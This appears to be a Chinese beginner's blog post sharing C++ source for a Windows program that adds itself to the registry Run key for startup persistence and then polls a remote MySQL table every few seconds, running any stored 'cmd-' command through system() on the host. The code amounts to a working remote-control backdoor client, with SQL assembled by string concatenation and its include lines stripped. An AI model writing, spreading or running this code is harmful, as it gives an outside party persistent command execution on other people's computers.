演示视频:
大致步骤就是:
软件打开后查询本程序是否已经写入开机自启动了, 有就不写启动 没有的话就写开机启动.
创建一个线程
在线程里边 执行mysql读写操作 具体看代码把 虽然写的不咋地 毕竟新手嘛
有很多bug 大致还是能运行的嘿嘿0.0 技术交流请在网页底部点击加入交流群!
下面我贴出代码 :
环境VS2013
#include
#include
#include
#include
#include
using namespace std;//名称空间
/*---------------------------------------------------------------------------*/
DWORD WINAPI ThreadProc(LPVOID lpParam);
/*---------------------------------------------------------------------------*/
string getTime();//获取现行时间
string Gethost();//获取计算机名
/*---------------------------------------------------------------------------*/
bool z = true;
MYSQL myData;
MYSQL_RES *mysql_res;// mysql结果集
MYSQL_ROW mysql_row;// mysql行操作符
int res;
/*---------------------------------------------------------------------------*/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevstance, PSTR SzCmdLine, int nCmdShow)
{
if (!IsUserAnAdmin())
{
MessageBox(NULL, "请以管理员身份运行!", "erro", MB_ICONASTERISK | MB_OK);
return 0;
}
//检测本程序启动项是否存在不存在则创建存在则啥都不干!
HKEY hKEY;
//访问注册表,hHEY则保存此函数所打开的句柄
LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKEY);//打开成功返回0
if (lResult)
{
MessageBox(NULL,"Open the failure!!","erro",MB_OK);
return 0;
}
//RUN项下的Citext数值
TCHAR owner_Get[256] = {0};
DWORD dwBuffer = sizeof(owner_Get);
lResult = RegQueryValueEx(hKEY, "Citext", NULL, 0, (BYTE*)owner_Get, &dwBuffer);//查询到就会返回0
if (lResult)//如果是1那当然是没有了所以执行写开机启动项操作
{
//MessageBox(NULL, "查询的键不存在!", "提示", MB_OK);
RegCloseKey(hKEY);//先关闭上次查询所使用到的注册表,以免发生不可知错误
//获取本程序路径保存在a这个变量里面
char a[MAX_PATH];
GetModuleFileNameA(NULL, a, MAX_PATH);
//MessageBox(NULL, a, "", MB_OK);
//然后把本程序路径写到RUN项下
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKEY) == 0)
{
//打开注册表成功!
if (!RegSetValueExA(hKEY, "Citext", 0, REG_SZ, (LPBYTE)&a, sizeof(a)) == 0)//设置启动项命令
{
MessageBox(NULL, "Write failure!", "erro", MB_OK);//失败
}
}
RegCloseKey(hKEY);//关闭注册表
}
//下面创建线程
HANDLE hThread;
DWORD dwThreadId;
hThread = CreateThread(NULL, NULL, ThreadProc, NULL, 0, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);//当指定的对象处于有信号状态或者等待时间结束的状态时,此函数返回。
CloseHandle(hThread);//关闭线程句柄
return 0;
}
int rsql(string sql)
{
mysql_init(&myData);//初始化mysql
if (!mysql_real_connect(&myData, "你自己的数据库地址", "用户名", "密码", "数据库名称", MYSQL_PORT, NULL, 0))
{
MessageBox(NULL, mysql_error(&myData), "erro", MB_OK);
z = false;
}
mysql_query(&myData, "set names gb2312");
res = mysql_query(&myData, sql.c_str());
if (res)
{
return 0;
mysql_close(&myData);
}
return 1;
}
//向mysql写入数据线程
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
rsql("insert into server(host) values('" + Gethost() + "')");//向host插入主机
while (z)
{
Sleep(3000);
rsql("UPDATE server SET time = '" + getTime() + "' WHERE host = '" + Gethost() + "'");//更新指定主机的time
mysql_query(&myData, "select * from server");
mysql_res = mysql_store_result(&myData);
while ((mysql_row = mysql_fetch_row(mysql_res)))//每一次mysql_fetch_row()都获得当前行数据库,并赋值给数组row,然后自动滑向下一行;在取出最后一行后,函数将返回false,循环结束。就可以把结果集中的所有数据逐行取出并显示。
{
for (unsigned t = 0; t < mysql_num_fields(mysql_res); t++)//mysql_num_fields()取数据表中的字段数
{
OutputDebugString(mysql_row[t]);//调试输出
OutputDebugString("\n");//调试输出
if (strstr(mysql_row[t], Gethost().c_str()))
{
if (strstr((LPCSTR)mysql_row[t + 2], "cmd-"))
{
string data = (LPCSTR)mysql_row[t + 2];
string cmd = data.substr(4, data.length() - 4);
system(cmd.c_str());
}
}
}
}
mysql_free_result(mysql_res);
mysql_close(&myData);
}
return 0;
}
//Get计算机名称
string Gethost()
{
char szBuffer[MAX_PATH];
DWORD dwNameLen;
dwNameLen = MAX_PATH;
if (GetComputerName(szBuffer, &dwNameLen))
{
return szBuffer;
}
return "错误";
}
// Get Time
string getTime()
{
time_t timep;
time(&timep);
char tmp[64];
strftime(tmp, sizeof(tmp), "%Y-%m-%d %H:%M:%S", localtime(&timep));
return tmp;
}
下面是我数据库中的表配置图片 你的表和数据库也要设置好哦 我的数据表名称是server
数据字段名